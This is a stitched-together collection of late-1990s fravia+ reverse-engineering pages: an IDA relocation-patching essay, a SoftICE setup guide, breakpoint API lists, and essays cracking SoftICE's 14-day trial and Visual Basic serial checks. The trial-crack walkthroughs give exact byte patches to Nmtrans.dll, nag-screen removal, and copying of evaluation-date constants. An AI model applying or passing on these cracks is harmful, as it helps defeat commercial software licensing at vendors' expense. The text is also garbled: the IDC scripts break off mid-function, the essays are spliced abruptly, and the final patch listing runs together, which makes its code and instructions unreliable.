Ok ok, for guys like you it's not a surprise, and then you all knew about that.
So why have we create a new database just for viewing that?
The question is now, can we force IDA to make the ".reloc" segment, then
path this segment on the fly when process memory move, then .... ZEN PATCH.
Let's try Load Binary File, select the same file on whatever base you want, patch,
then
request the DIF file... IDA warn about skipped data... blah blah...
As far, it don't seems feasible to make and populate a IDA segment (using IDC), in
order
that IDA will use it for binary comparaison...
BUT if we have load any segment when we have start disassemble this file, (which is
allways a good idea IMHO :), we can easilly create Zen tools, for Zen
optimisations...
*********************************************************************
I tell you that it is a good idea to load all segment, BUT for
this IDA.WLL I HAVEN'T... :-((( Why? Because it's allways the same,
Do what I say, not what I do! (No truly it was because of disk space ;).
My problem is now, a huge*huge commented database that I can't save with
such lame database dump as IDC. Oh yes I can dump, then awk this, that, ...
and then re-apply this schema to my database..., but if, you will never
see the end of this essay....
BTW I use one of the most powerfull tools for reverse-engeneering (IDA), so
I just have to start a new disassembling process, and apply by hand 2/3
names... and then apply just the change into the ".reloc" segment, then
make the DIF with the same name as previous IDA instance, and... IDA ask me
if I prefer to overwrite or append?...good boy
^----- :-))
*********************************************************************
Ok you got your file loaded with your ".reloc" segment appearing raw...
We need to be able to patch it according to the modifications applied on fixups
informations,
thru DelFixup/SetFixup.
Let's try first to put some organisation into this ".reloc" segment, using a IDC
script...
static Unknown( ea, length )
{
auto i;
static cookSegReloc()
{
auto ea, i, siz;
ea = BADADDR;
for(i = FirstSeg(); i != BADADDR; i = NextSeg(i))
for(; ea != BADADDR; )
{
Unknown(ea,4*2);
MakeDword(ea+4);
siz = Dword(ea+4);
if (siz == 0)
{
ea = BADADDR;
continue;
}
MakeDword(ea);
MakeName(ea,form("FIXUP_%08X",Dword(ea)));
Unknown(ea+8,siz-8);
MakeWord(ea+8);
MakeArray(ea+8,(siz-8)/2);
ea = ea + siz;
}
}
Ok now we just need to create a clever memory block mover, which is able to patch the
appropriate fixup table every time it encounter a IDA fixup.
=======================================================================================
WARNING - WARNING - WARNING - WARNING - WARNING - WARNING - WARNING - WARNING -
WARNING
=======================================================================================
In order to have to following function works, you need to take care of page boundary.
This mean that this function is NOT ABLE to fix fixup if you move from one page to
another... In that case human brain is much more clever than any programmatic
gas-factory
---------------------------------------------------------------------------------------
static MoveMemWithFixup()
{
auto begin, end, sense, srcEA, tgtEA;
auto i, value, fillup, lim;
auto fxtyp, fxsel, fxoff, fxdispl;
auto fxtable, fxwas, fxnow, j, sa, ta;
begin = SelStart();
end = SelEnd() - 1;
if (begin == BADADDR)
{
sense = 1;
srcEA = begin;
if (ScreenEA() == begin)
{
sense = -1;
srcEA = end;
}
fillup = 0;
fillup = AskAddr(fillup,"Enter pattern for quitting region...");
fillup = fillup & 0x0FF;
Ok you now have many tools and knowledge to manipulate, crack, patch an EXE, in order
to make it works as you like... But now it's time to do the real work... Are you
ready?
First, which function?? For study purpose, we'll implement the _getenv function.
Second how we implement?? Jump to the beginning of this article, and start reading.
Third where to implement?? - Into magic holes... :-))
Forth and last how do we code?? - Be patient...
MESSAGE TO PROGRAMMERS
======================
IMHO a programmer is not a good one 'til he knows how such wonderfull Xnth
So we got 2 alignment (in fact more). What a great information! What can we do
with
that? Suppose you got an alignment of 8bytes on image file and 16bytes into
memory...
Zoom now on the hexa dump of or code section:
SOMEWHERE+3F0: 5E 5B C3 90 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ??
^ ^ ^ ^
| | | + At load time, the loader will
allocate
| | | this area into memory, but normally
| | | it didn't fill it
| | |
| | + Padding bytes to respect image section alignment
| |
| + The end of object block alignment (can be different
| than 90h. Most of the time CCh/00h on M$ compilers.
| Borland make such alignment by generating dummy
code
| such as mov ax,ax,... )
|
+ This is the last function op-code of this segment.
In this case there are nearly 5 bytes that can be changed without changing size
of the image body. This is what I have just called magic holes.
Of course, it can happens that there is no alignment padding on the image file,
but usually you would find some (and sometimes a lot).
To terminate about alignment, know that every segments have some, even the
".reloc"
one....
How do we code:
For many of you this will not represent a big issue, for the other, the most
simple
to do, is to copy interresting part of already coded function from our IDA.WLL
image.
Take for example the beginning of the idc_strlen function in order to push the
first
argument into the stack ( our function is fastcall convention, and call the
Then take the end part of idc_Name in order to return the result in an IDC
string.
To finish, you need to patch the arrIDCtokens array to add the appropriate
entries,
increment by one the arraysize, then patch fixup segment (move subsequent table
far
enought (4 bytes aligned) in order to add as many entries (there 3) into the
appropriate
table).
Of course, you do that under IDA it-self, then when the result is whatever you
want,
you generate the DIF file, then patch the genuine image file...
.
.
.
CODE:004892F5 90 90 90 align 4
; We must think about alignment ( filled with NOP )
CODE:004892F8
CODE:004892F8 ;
--------------------------------------------------------------------------------------
CODE:004892F8 ; S u b r o u t i n e
CODE:004892F8
CODE:004892F8 idc__getenv proc near
CODE:004892F8 53 push ebx
CODE:004892F9 8B D8 mov ebx, eax
CODE:004892FB 56 push esi
CODE:004892FC 8B F2 mov esi, edx
CODE:004892FE 8B 43 01 mov eax, [ebx+1]
CODE:00489301 50 push eax
CODE:00489302 E8 D9 CB FA FF call _getenv
CODE:00489307 59 pop ecx
CODE:00489308 8B D6 mov edx, esi
CODE:0048930A E8 91 03 F8 FF call make_an_idc_string(char *)
CODE:0048930F 5E pop esi
CODE:00489310 5B pop ebx
CODE:00489311 C3 retn
CODE:00489311 idc__getenv endp
CODE:00489311
CODE:00489311 ;
-------------------------------------------------------------------------------------
CODE:00489312 00 00 00 00 ... db 0EEh dup(0)
; TODO: Add your specialized functions there :-))
CODE:00489312 ;
-------------------------------------------------------------------------------------
CODE:00489311 align 1000h
.
.
.
Before to let you play with this, I must apologize for my poor English...
I hope that this have disturb you too much because of laugh :-))
_ _
/ mjm /
You are deep inside fravia's pages of reverse engineering, choose your way out:
This is an essay on how to install SoftICE 3.2 for beginners, and I mean Beginners.
Introduction
Introduction
Hello there newbies! This is the first article in a series which will take you from an 'Ultimate Beginner', on to
become a full fledged cracker. I know, it sounds like a daunting task, but, as you will see, we can learn together.
In the first session I will show you how to install and setup the best debugger for windoze, SoftICE version 3.20.
What's that you say? You don't have SoftICE? Well go get it. It's on the NET everywhere. You can't swing a dead
cat around out there without hitting at least one copy. :-)
Try it out for the allowed period and then BUY it. It's a great tool and it deserve to be bought.
Tools required
NotePad.exe
or edit.com
Target's URL/FTP
You may be able to find and download a time limited trial copy of softice from many web-sites, yet not on fravia's
one. SoftICE update to 3.22 from NuMega
Essay
What is SoftICE?
SoftICE, by NuMega Technologies, is a debugger. A debugger is a software (or hardware) device that is used to
disassemble program code as it is running. Why would we want to do that? Well, if you have a bug in a program, it
is nice to be able to open up the program while it is running to find the bug and eradicate it.;=) Or just to see what
the bug is.
NOTE: A disassembler/debugger can only change the code that is in memory at the
moment. If you want to change the program code permanently you have to use a Hex
Editor. I recommend UltraEdit-32 version 5.0a by IDComp (http://www.idcomp.com/).
For instance, a lot of programs nowadays have a 'registration' bug. This insidious bug usually pops up at the
beginning of a program and asks you to input some arcane code. If you don't put in the right code then the program
limits what you can do, or wont run at all. Now why would any one release software that has bugs in it? Following
Micro$oft's lead, I guess. :P
Most Reverse Engineers (RE) will tell you that SoftICE is the very best debugger for breaking in and reversing
code. Now that it has the Universal Video driver, I would have to agree. Older versions of SoftICE (3.0 and below)
required you to use a video driver specific to your video card. The problem with these versions? They didn't have
drivers for all cards. My card (Creative Labs 3D Blaster PCI) wasn't supported. It was difficult to use this great
debugger when you couldn't see it's output. My computer would switch to SoftICE with the standard CTRL-D
hotkey, but my screen wouldn't. Now, with version 3.20 of SoftICE, they have incorporated a 'Universal Video
Driver' which works just fine with most video cards.
OK, so by now you have searched for and found the SoftICE 3.2 program and it is time to show you how to install
it.
Installing SoftICE
You should have found the install program for SoftICE in a zip file (si95win320.zip perhaps?). Unzip that file to
the c:\temp directory, or where ever you want to, and run setup.exe. This will start the install process for SoftICE
3.20.
Installation Directory
After all the boring welcome screens and registrations screens, Setup asks you for the directory where SoftICE will
be installed (FIG. 1). I chose C:\ICE, because it has a nice ring to it. Your results may differ ;). Be aware though,
later on when I use 'C:\ICE' to setup the Config.sys and AutoConfig.bat, you should use the directory where YOU
installed SoftICE. Other than that there is no difference.
Mouse Selection
When you get to the mouse driver screen (FIG. 3) select the type of mouse that you have. If you have a PS/2
mouse it will have a small circular connector on the end. A Serial mouse will have a 'D' type connecter. This is a
rectangular connector that has lock down screws on it. The 'D' type looks like a 'D', hence the name. If you do have
the Serial type, make sure you select the proper one, i.e., COM 1 or COM 2. Check the back of your computer to
see which Port it hooks up to. They should be labeled 1 and 2. Select the correct one, and we are off.
Done
OK, you have selected the third option, and now we will press the 'NEXT' button and complete the installation.
Press 'FINISH' on the next screen and come back when it is done installing...
...
...Back already? OK, let's move on.
If you haven't already, download the patch from NuMega or some other site that has it, to Upgrade to version 3.22.
The file should be called SI322ServicePack95.exe. Run this .exe file (automatic setup) and then come back...
...
There that wasn't too hard was it?
Setup
Now we just have to setup the Config.sys and AutoExec.bat files to our liking. The setup I am about to show you
originally came from exact's Windows 95 Cracking tutorial. I have modified it a little to fit my system, as you will
to fit yours.
This setup will allow you to select whether or not you want to load SoftICE at startup. It uses the [menu] command
in config.sys and allows user selection of options.
[menu]
menuitem SoftICE,Start Windows with 'Soft-Ice v3.22' Debugger [CTRL-D Popup]
menuitem NORM,Start Windows without Soft-Ice
menuitem DOSICE,Start DOS with 'S-ICE v2.62' Debugger [CTRL-D Popup]
menuitem DOS,Start DOS without Soft-Ice
menudefault SoftICE,10
[DOSICE]
e:\arena\emmsetup e:\arena\s-ice.exe
DEVICE=e:\arena\s-ice.exe /sym 50
[SoftICE]
[NORM]
[DOS]
[COMMON]
DEVICE=C:\WINDOWS\HIMEM.SYS
DEVICE=C:\OCTEK\CDR812.SYS /D:MSCD001 /V
FILES=40
BUFFERS=40
-------------------------END CONFIG.SYS------------------------------
The 'menudefault' setting makes this default to SoftICE (selection 1) in 10 seconds. The start of each 'menuitem'
gives the value to jump to below the menu, and the value that %CONFIG% will be set to when we get to the
AUTOEXEC.BAT file. Case is important in this, so be careful that you keep everything the same. You can add
more menuitem 's if you choose, just remember to keep the case constant.
The third option is to load S-ice.exe, the DOS debugger from NuMega. Note the path of each program (ie,
e:\arena\emmsetup e:\arena\s-ice.exe). This is my path, it may not be yours.
Currently I can't get DOS Ice to run on my system; it gives me a GPF and pops up in SoftICE where I have to
reboot; but I keep the selection there just in case. If you have any suggestions that might help, please let me know.
Your devices would go in the [COMMON] section. The ones I have won't necessarily be the ones that you have.
OK, so let's take a look at the Autoexec.bat and see where we are.
REM ********************************
REM ***** *****
REM ***** S O F T I C E 3.22 *****
REM ***** & S-ICE DOS v2.62 *****
REM ***** LOADER *****
REM ***** *****
REM ***** by *****
REM ***** Exact aka Siceboy *****
REM ***** i_magnus '98 *****
REM ***** *****
REM ********************************
GOTO %CONFIG%
:DOSICE
ECHO DOS Soft-ICE Loaded
GOTO END
:NORM
WIN
:COMMON
:END
eof
:SoftICE
WINICE.EXE
eof
-------------------------END AUTOEXEC.BAT---------------------------
As you can see, if we select option 1 in the Config.sys, then %CONFIG% is set to 'SoftICE' and we GOTO
SoftICE when Autoexec.bat runs.
If we select option 2, we goto COMMON, which just loads windoze.
If we had selected option 3, 'DOSICE', config sys would have loaded s-ice.exe as a device and then quit to DOS.
Finally, option 4, jumps to [DOS] in the Config.sys which just runs the [COMMON] files and when it gets to the
Autoexec.bat, it does the Common funtions and then not finding a :LABEL for :DOS, it quits to the command
prompt.
Final Notes
The main point of using this configuration is that you can decide at startup whether you want to run SoftICE for
DOS or SoftICE for Windows or nothing at all. I usually just have SoftICE for Windows installed by default.
So now that you have SoftICE installed what do you do with it? Well, now you can start learning from all those
tutorials that fravia+ has on his site :?)
Look for Session 2: An Ultimate Beginners Guide to using SoftICE 3.22, coming as soon as I finish writing it.
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its
protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
/******************************************************\
+HCU NOTES:
Credit goes to the original author for the easy to follow format
though it pains me to say i do not have a clue who it was who sent
me the original listing.
To use these api, just flip into SoftICE and BPX MessageBoxA
(or any other call you want to bpx on)
Being redundant in case this file has been separated from the website,
your winice.dat file is in your softice'95 directory with the executable
(look in your autoexec.bat file for the location of WINICE.EXE if you
have forgotten it's install location)
Use THESE for now: (see ED!SON's tutorial for more info)
gdi32.dll
kernel32.dll
user32.dll
+gthorne'97
\******************************************************/
ReadFile
WriteFile
SetFilePointer
GetSystemDirectory
GetSystemDirectoryA
These are the most common calls to read/write from/to a *.ini file
or a file of similar format.
GetPrivateProfileString
GetPrivateProfileInt
WritePrivateProfileString
WritePrivateProfileInt
GetPrivateProfileStringA
GetPrivateProfileIntA
WritePrivateProfileStringA
WritePrivateProfileIntA
Interrupt info:
_____________
bpint 21 if (ah==3d)
bpint 2f if (ah==01)
The Registry
------------
Create or delete a new key in the registry:
RegCreateKey
RegDeleteKey
RegCreateKeyA
RegDeleteKeyA
RegQueryValue
RegQueryValueA
RegCloseKey
RegOpenKey
RegCloseKeyA
RegOpenKeyA
Dialog Boxes
------------
Get text or integer from a dialog box edit:
GetWindowText
GetDlgItemText
GetWindowTextA
GetDlgItemTextA
GetDlgItemInt
MessageBox
MessageBoxA
MessageBoxExA
MessageBeep
SENDMESSAGE
WSPRINTF
GetSystemTime
GetLocalTime
SystemTimeToFileTime
Generating a Window
---------------------
createwindow
createwindowexa
showwindow
Value Meaning
0 Drive Cannot Be determined
1 Root Dir Does not exist
2 DriveRemoveable
3 A Fixed Disk (HardDrive)
4 Remote Drive(Network)
5 Cd-Rom Drive
6 RamDisk
GetLogicalDrives
GetLogicalDrivesA
GetLogicalDriveStrings
GetLogicalDriveStringsA
GETWINDOWWORD
GETWINDOWLONG
BOZOSLIVEHERE
HMEMCPY
GLOBALGETATOMNAME
assuming you are using wm_command to try to locate the button push,
you hwnd the result and see the hwnd of the button is 0324 and the
hwnd of the window is 0129
to find the button, use the window value, not the button value to bmsg on
(the other just won't work)
- - -
At one point I found it useful to go through the intlist and make a file full of all
references
to CD-ROM and MSCDEX calls alone (why do I mention these DOS interrupts in this file?
SIMPLE:
16-bit windows - which many programs still are written in and use today use mostly
DOS calls to
handle protection schemes - like file times, etc... but that is another file ;)
+gthorne'97
You are deep inside fravia's page of reverse engineering, choose your way out:
D *(esp+8)
means, "show in data window, the location pointed to by the content of esp+8". Since,
this is a very common operation, SoftIce had a shorthand for it: esp->8. Allright then,
now we can set the breakpoint such as this:
BPX getwindowtexta DO "D esp->8;"
And when we hit F12, we return to the caller and the text we entered will sit nicely at the
top of the data window, waiting for us to set up a BPR with it :) Why don't we do a return
to the caller automatically? Well, in my case, the screen flashes, and I hate it. But, if you
want to try, you can set the breakpoint as:
BPX getwindowtexta DO "D esp->8;P RET;"
Now, let's take a look at GetDlgItemTexta. It is declared as:
UINT GetDlgItemText( HWND hDlg, int nIDDlgItem, LPTSTR lpString, int nMaxCount );
The only difference is nIDDlgItem, which is the ID of the control to get the text from. The
stack will look like this:
...
[ESP+10h] - nMaxCount
[ESP+0Ch] - lpString << here it is
[ESP+08h] - nIDDlgItem
[ESP+04h] - hwnd
[ESP+00h] - return EIP
And the breakpoint to set (I had a feeling that you already find out ;)
BPX getdlgitemtexta DO "D esp->C;"
Well, that's all my friends. If you didn't want to type it everytime you want to use it, then
you had to set up a macro for it. Read chapter 11 :D I'd like to tell you, but this became a
looong post already. See ya...
I guess you already knew that using a breakpoint action DO "D ESP->14;" will show the
retrieved data in SoftIce's data window after the function return.
Now, say for example, Regmon (http://www.sysinternals.com) telling us that the program
read the info from:
HKEY_CURRENT_USER\Software\Microsoft\Developer\Setup\RegisteredOwner
HKEY_CURRENT_USER\Software\Microsoft\Developer\Setup\RegisteredOrganization
Then, we can put a breakpoint in SoftIce such as this:
You are deep inside fravia's page of reverse engineering, choose your way out:
NUMEGA'S OWN
~
Our most important project... Numega's protections are deeper as you may have thought... or are they incredibly simple
and stupid? That was the question we had to solve...
This has been for obvious reasons the most important project of the +HCU, and I'm glad to say that we have
TERMINATED it in less than four months. BOZO's Phase 8, that I'm publishing to-day (2 August 1997), represents the
final point for the protection scheme of the NT version. Does it? See Phase 9 by Birdy Harry and Phase A by
ViceVersa+!!
Anyway, I would like to thank the guys of Numega for their wonderful debugger, a tool that I have used with passion
and love since its DOS version 2.6 (cracked and distributed by the Marquis de Soiree), a software debugger so
powerful that Numega's hardware concurrence (Periscope) went bust! I hope the Numega guys will improve Softice
even more in the future, if possible, for once, not only in order to facilitate debugging with source code available
(which has for us zero interest! And stupid programmers leaving stupid bugs in their overbloated source code can use
simpler -and equally stupid- debuggers) but also for more noble and difficult reverse engineering purposes (which has
an enormous interest for the whole future evolution of the software industry out of the mortal "embrace" of Micro$oft),
and I hope as well that they will learn here how to protect better their invaluable product.
I believe it is appropriate to remember here the names of the Godot developers:
Dom Basile Wizard extraordinaire
Tom Guinther Symbol engine, loader
Dan Babcock Symbol engine
Gerald Ryckman Win95 porting & debugging
Ray Hsu Video & mouse support
Let's also send a greeting to Cathy Philbrick, Numega's main "scarecrow spammer", here it is:
Dear Cathy, I have received your spam, sent on 9/9/97. Unfortunately your email
was a little imprecise:
this site is NOT "distributing your products on the Web", legally
or illegaly. In fact there is absolutely no need to distribute them
even more. There has never been such a need: the "Bonamico" copy is
everywhere and Numega itself has recently distributed all its products to
the world with a "trial" protection so silly that one wonders if you
actually WANTED your products distributed to every looser for free
(as if, I repeat, it would have been difficult to find complete pirated
copies of any Numega product on the Net... there was NO NEED to reverse
engineer your trial in order to have a perfect complete working copy
of whatever product you have... we have done it just for the fun!).
I'll speak only for my own site: not a single copy of your product
has been distributed from this pages where, on the countrary, I have
always publicly written that people should even "buy" your product.
This by the way is jolly nice of us, since in the reality -I repeat-
your prouct can be gathered everywhere (but here) for free... yes kids,
even version 3.2... I just did a stupid ftpsearch and found two of
them :-)
You write also that you "monitor illegal sites frequently" (Gee... I
would really love to have a job like that!).
Well, you do not seem to be very well informed.
This is NOT an illegal site. Reverse engineering is NOT illegal.
Protection busting is NOT illegal. Removing protections from a
target that you have legally obtained (bought, or as shareware, or
as "trial ware, like your programs), is NOT illegal. Screwing or
re-writing or modifiyng or nuking, or hitting with a mace alien
code is NOT illegal...
It's exactly what your own researchers, at Numega, are doing all
the time, ask them, watch them, grow up for God's sake. And since
you are at it, Cathy, you may as well ask them why the hell are
complete unprotected registered versions of ALL Numega's products
being kept on your own public anonymous FTP server, another of the
many facts that you don't seem to be aware of.
I'll now repeat to you, Cathy, what I have always written yet
-alas- you do not seem to have never read (which is bad, since I
believe that there are not many sites on the web where Numega gets
so much real feedback -and so much praise- as here at fravia's...
therefore you are probably NOT doing your "monitoring" job very well,
dear Cathy, time to fire you, may be) here it is:
Anybody that is seriously into reverse engineering should BUY
softice (as I have done long ago) and THEN crack it black and
blue.
Anyway I'll monitor your site frequently to ensure compliance
with reality.
Fravia
In name of the +HCU I would like to thank in particular Frog's print and +Rcg. First of all Frog's print, mon ami, if it
were not for you all this would not have been possible. Frog's print and +Rcg have supplied the "Backbone" of this
Project.
My thanks, and the thanks of the whole scene go also to IgNorAMUS, Birdy Harry, The Undertaker, Bozo and
ViceVersa+. Each one of these Authors has given valuable input and decisive help to this project.
ADDS-ON
And yet we had to add some "adds-on": Numega continues to give out "trial" versions of beautiful programs with
incredibly silly protection schemes... (and yes, Numega continues to publish complete registered versions of them on its
own ftp server as well, btw :-)
In fact the problem is not how to find a fully functional, registered and working copy of ANY Numega's software
whatsoever (every version is roaming the Web). The real funny question for us is: "Why does Numega use such stupid
protection schemes inside his "protected" versions?". Mind you, we are not speaking of a small shareware programmer
that is using some overbloated language for some overbloated useless application: we are speaking of the BEST
programmers and wizards of assembly in the whole planet here! And yet they protect as if they had just finished their
copy of "teach yourself assembly language in 5 easy lessons".
The fact that Numega (which, differently from Micro$oft lamers' park, HAS INDEED A LOT of said good
programmers and wizards) publishes powerful disassembly and reversing tools (Bondcheck, Smartcheck, Softice...) in
downlodable "trial" version with pretty silly protections (as if the kind of people that REALLY USE such tools were
not capable of earing a password echo in memory), added to the fact that they "forget" complete versions of their
programs on their own ftp servers (Softice for Win95 3.2 has been there for more than two months now :-) can IMO
only mean two things:
A) EITHER Numega follows the Micro$oft path of giving away everything for free, in the hope that they will dominate
the disassembler "commercial" markt and get the rewards from "scale" economy.
This may happen: crackers and "simple" programmers of to-day, i.e. a great part of the people that peruse sites like
mine (of which, I am afraid, there are MANY available that offer just the cracks and no explanation at all), ARE the
reverse engineers of to-morrow (who else?), and will be able to afford *any* "commercial" fare that Numega will in
the future decide for, say, Smartcheck version 13.0.
B) OR that Numega will bring to light a very tough protections (the mytical "unbreakable" software protection :-) as
soon as their absolute dominance of the market has been asserted. Let's hope they do it as early as possible: the
"protections" (if you really want to call them so) that they are using at the moment are simply too boring to bother
Cracking Loader32/NmTrans.dll
How it all started
PHASE 2 by +RCG:
More on Winnie
Another approach to crack SoftIce 3.01 14 day trial
PHASE 3 by Frog's print:
PHASE 8 by Bozo
PHASE A by ViceVersa+
I decided to add to this project all essays that have to do with softice/winice
ADD-ON 1 by Civetta
It would be nice if somebody (I have unfortunately not the time at the moment) would "condensate" all phases of this
project in a COMPLETE essay about Softice95 and SofticeNT (and all other nice Numega's tools), checking everything
once more and presenting a "final" nice product of the +HCU to the scene... on the other hand it could be better to leave
the things a little "rough", without making it too much easy for lamers and lurkers... you, reader, decide.
How does Softice work? How do I set breakpoints and all that?
I receive tons of silly emailings like that...
No, I'm not going to explain you this too... softice must be learned through experience. I suggest you the following:
1) read the softice documentation thoroughly, you'll find it complete and free to download (in acrobat format) at
Numega's site AND on many good scene pages,
2) experiment, experiment and experiment a little more. And then experiment again. And then re-read the
documentation (which is available, I repeat) and then experiment some more... then, if you still have some problems,
3) visit (and read) "Mankind comes into the ice Age", from the beautiful series "Mammon_'s Tales to his Grandson",
and if you still need knowledge,
4) visit the other +HCU pages at +gthorne's place where all your remaining doubts and problems will be clarified
and solved, at least I hope, because if it is still not so, you should leave this stuff and find something else to play with :-)
This said, if a pious soul would gather ALL advices about softice breakpointing techniques that are scattered in the
various scene pages and on many essays and in some +ORC's lessons and elsewhere, and if the same pious soul would
bravely put all this together and send it to me, I could consider opening a special section of my site to this endeavour...
do not make things TOO easy! It's always the same problem: should we make things so easy that any luser can grab
software even if he does not understand nor love our white magic art or should we set a minimum threshold: a
minimum "brain entry level"?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed
- by Frog's Print
Numega's peoples are quite nice: they offer us the possibility to download Soft-Ice
3.01
(as well as the full documentation in Acrobat Reader format!!). Of course, it is
fully functional but....will only work for 14 days. Ain't that beautiful: we can
crack
our beloved, amazing tool, one of the best or may be THE best program we little
-crackers or +crackers use and cheer every day. That's really great. Thank you so
much Numega.
WE ARE NOT GOING TO CRACK IT ALL (yet), just -for now- the loader (Loader32.exe) and
the main DLL (Nmtrans.dll).
Let's go.
Let's see.
Is it a joke or are they serious? I can't believe it to see this written in upper
case letters... are they "teasing" all crackers? Are they just plain stupid? Did
they hyde inside this program another protection?
Back to Windows everything seems to be fine except that when pressing CTRL-D
I can't get into Soft-Ice as usual. Loader32.exe works fine.
Now I change the date (1 month ahead) and run Loader32.exe: It says that I have
0 days left AND that Soft-Ice isn't active (though it is if I press CTRL-D).
I restore the date and try again: it works fine!
Of course, I used the "Live approach" to understand the codes (and after having
added NmTrans.dll *INSIDE* my Wince.dat in order to be able to BPX it's functions)
Here is now the listing of NMTRANS.NmGetNumDaysLeft and the calls to it
inside Loader32.exe, listing provided by W32Dasm8, so it will be easier for you
to understand what's going on:
1/ From the file Nmtrans.dll (which is located inside your Winice directory):
* Possible StringData Ref from Code Obj ->"**** Evaluation version. Valid "
->"for %d days. ****"
:0043A27B B890A44300 mov eax, 0043A490 ;"...Valid for"
:0043A280 E86FBFFCFF call 004061F4 ;Days_Left "days."
:0043A285 6A00 push 00000000
:0043A287 8B45FC mov eax, [ebp-04]
:0043A28A E82D93FCFF call 004035BC
:0043A28F 8BD0 mov edx, eax
1/ Nmtrans.dll:
We had:
:1002654B B800000000 mov eax, 0 ;
We change to:
:1002654B B900000000 mov ecx, 0 ;
Seems right, yet now, if you run Loader.exe, you will notice that it gives you
the following message: "Sof-Ice not Loaded!".
We had:
:1000EE12 3BD1 cmp edx, ecx
:1000EE14 7202 jb 1000EE18
:1000EE16 2BD1 sub edx, ecx
We change to:
:1000EE12 3BD2 cmp edx, edx ;<=**here** :1000EE14 7202 jb 1000EE18
:1000EE16 2BD2 sub edx, edx ;<="**AND" HERE TOO** * Referenced by a Jump at
Address:1000EE14(C) :1000EE18 83FA0E cmp edx, E ;once more, checking 14 :1000EE1B
720F jb 1000EE2C :1000EE1D C7051CEE1B1000000000 mov dword ptr[101BEE1C],0000 Now, we
will always have 14 days left. As there is a nagscreen remainding it, and as we
definitely do not like nagscreen, let's crack the nagscreen too: We had: :0043A291
B970A54300 mov ecx, 0043A570 ;prepare nag :0043A296 A124C64300 mov eax, [0043C624]
;and then :0043A29B E838A1FEFF call 004243D8 ;call MessageBoxA... Change to:
:0043A291 B970A54300 mov ecx, 0043A570 :0043A296 A124C64300 mov eax, [0043C624]
:0043A29B 4048904048 inc ax,dec ax,nop,inc ax,dec ax ;<="**HERE**" Now, after doing
those changes, reboot and check what's going on: 1/ Soft-Ice is loaded. 2/
Loader32.exe works quite well. 3/ ...but you CANNOT reach Soft-Ice's screen as the
CTRL-D keys don't work! (but it IS active, I checked with my own little program) 4/
Here we are for now!! I stopped here and let you think about it. Sure someone will
work onwards with this target even if I don't. Two more things: If you delete the
line 'INIT="X' from WinIce.dat and reboot, this will allow
you to pop into Soft-Ice screen even before Windows95 starts. So, you could trace,
BPX...
-Don't forget the line " Eval expiration date DO NOT REMOVE! DATE="XXXXXXXX" XXXXXXX"
You are deep inside fravia's page of reverse engineering, choose your way out:
After having read the phase 1 of this project, by Frog's print, I thought:
let's analize a little the NmGetNumDaysLeft function
:10026568 C3 ret
these values are used to decrypt the instalation date, and after
having done the hard work in order to analyze the code, I just made a
simple check: I searched these values INSIDE the winice.exe file and...
tachantachan.... only ONE ocurrence. Bingo! Therefore I figured that the
winice.exe file uses theses values too, in order to determine if you are
a good or a bad guy (until this moment I kept thinking that the NuMega
boys were just laughing at my efforts). Look what I found:
I found this:
46 75 6E 63 74 69 6F 6E 20 6E 75 6D 62 65 72 20 Function number
28 25 64 29 20 63 61 6E 27 74 20 62 65 20 67 72 (%d) can't be gr
65 61 74 65 72 20 74 68 61 6E 20 E7 00 00 00 00 eater than 7....
79 26 B3 FC BA ED 66 78 00 00 00 00 00 00 00 00 y&....fx........
^^^^^^^^^^^^^^^^^^^^^^^
The next step was to change, inside winice.exe, one of these two constants,
then rerun again Sice and look!... Ctrl+D has no effect. Sice does
not pop, protection has snapped!
But, I thought, this could be caused just by the "modification" of the file,
may be there is a checksum, if you alter anything it snaps... let's check!
With the original file, I wrote uppercase FUNCTION on the lowercase "Function"
among the above bytes, and... nothing happens, SoftIce ran perfectly, OK!!!
No file checksum routine.
Now, I was completely sure that THESE values were used by the protection shceme.
Where are these values hidden? In the winice.dat (of course) AND
in the registry, searching in the registry I found in:
MyPc\HkeyLocalMachine\SOFTWARE\Microsoft\Windows\Help
OleGUIDHigh Date Value1
OleGUIDLow Date Value2
After that I tried another trick: I put Frog's print's values in my own winice.dat
file AND in the registry and it worked fine.
Final check...I try a few diferent values for the date and it works ever!!!
Final comments:
I'm not sure... Sice may have more protections routines, it could
happen. I have not used it a long time after the above patch, but this doc
represents only another approach, now you have more perspective point to
attack this scheme. Work on it!
+Rcg 1997
You are deep inside fravia's page of reverse engineering, choose your way out:
Introduction
Lately more and more programs come out that are programmed in VB.
Since VB programs are still unknown material for most crackers they
ignore them and label thhem as 'uncrackable'. In this document i will show
you that this is not true for text based protections (serials/reg#'s).
As tools we will need only soft-ice and in one case hiew. Further-
more i assume that the reader is somewhat familiar with cracking. For
absolutely beginners i recommend the great tutorials made by +orc and
ed!son's good windows tutorial. But i will try my best to make the text
understandable for everyone who has a little knownledge about cracking.
Before i start bombing you with asm listings lets take a moment to
think about what we are dealing with.
We are dealing with exe's that dont have code themselves but instead
they make calls to a library with standard functions.
What does this mean? It means that there is a big disadventage to
protect programs written in VB. Why? Do you think that the writers of
the VB dll made 10 different functions you could use in order to compare
2 strings? No, of course not. They made the dll to be as efficient as
possible and as small as possible.
So therefore a good guess is that there will be only 1 (or 2) place(s)
inside the dll where two strings can be compared. And that turns out to
be the case, as you will see if you finish reading this document.
Does the little lamp already begin to glow in your head ? ;--)
Strategy
So where would then be the weak link in the chain? The answer is where
windows passes the data you entered to the VB dll. Thats our entry point.
We can make softice break there. And then we will be at the source of the
protection-chain. With the aid of breakpoints we can then monitor what
happens to our text.
you will see the text getting copied to this new location, where the VB dll can
access it. Step 6: Now we know where the text is located. Lets review our strategy
here. Our plan was to find out where the VB dll kept our serial, then put a
breakpoint on that memory location and find out with what it got compared. So, lets
set a bpr (breakpoint on range) at the location where our string ,ow dwells. Since
the REPZ MOVS(D/B) instructions increased the pointer in di (it now points to the end
of our string) we do 'bpr es:di-8 es:di-1 rw'. Dont hit enter yet read step 7 first.
Step 7: Before you hit enter i will tell you what to expect. Softice will break
everywhere where that block of memory with the string is read or written to. For
example you will break inside the function strlen where the lenght of the string is
calculated. And you will break where the string is copied to another place in memory
(for example with REPZ MOVSW). When this happens place a new bpr at the new location
with the string. It will also break when the string or part of it gets deleted. If
the whole string does NOT get completely deleted do not remove the corresponding bpr.
Only remove it when the complete string gets written over by something else. Also you
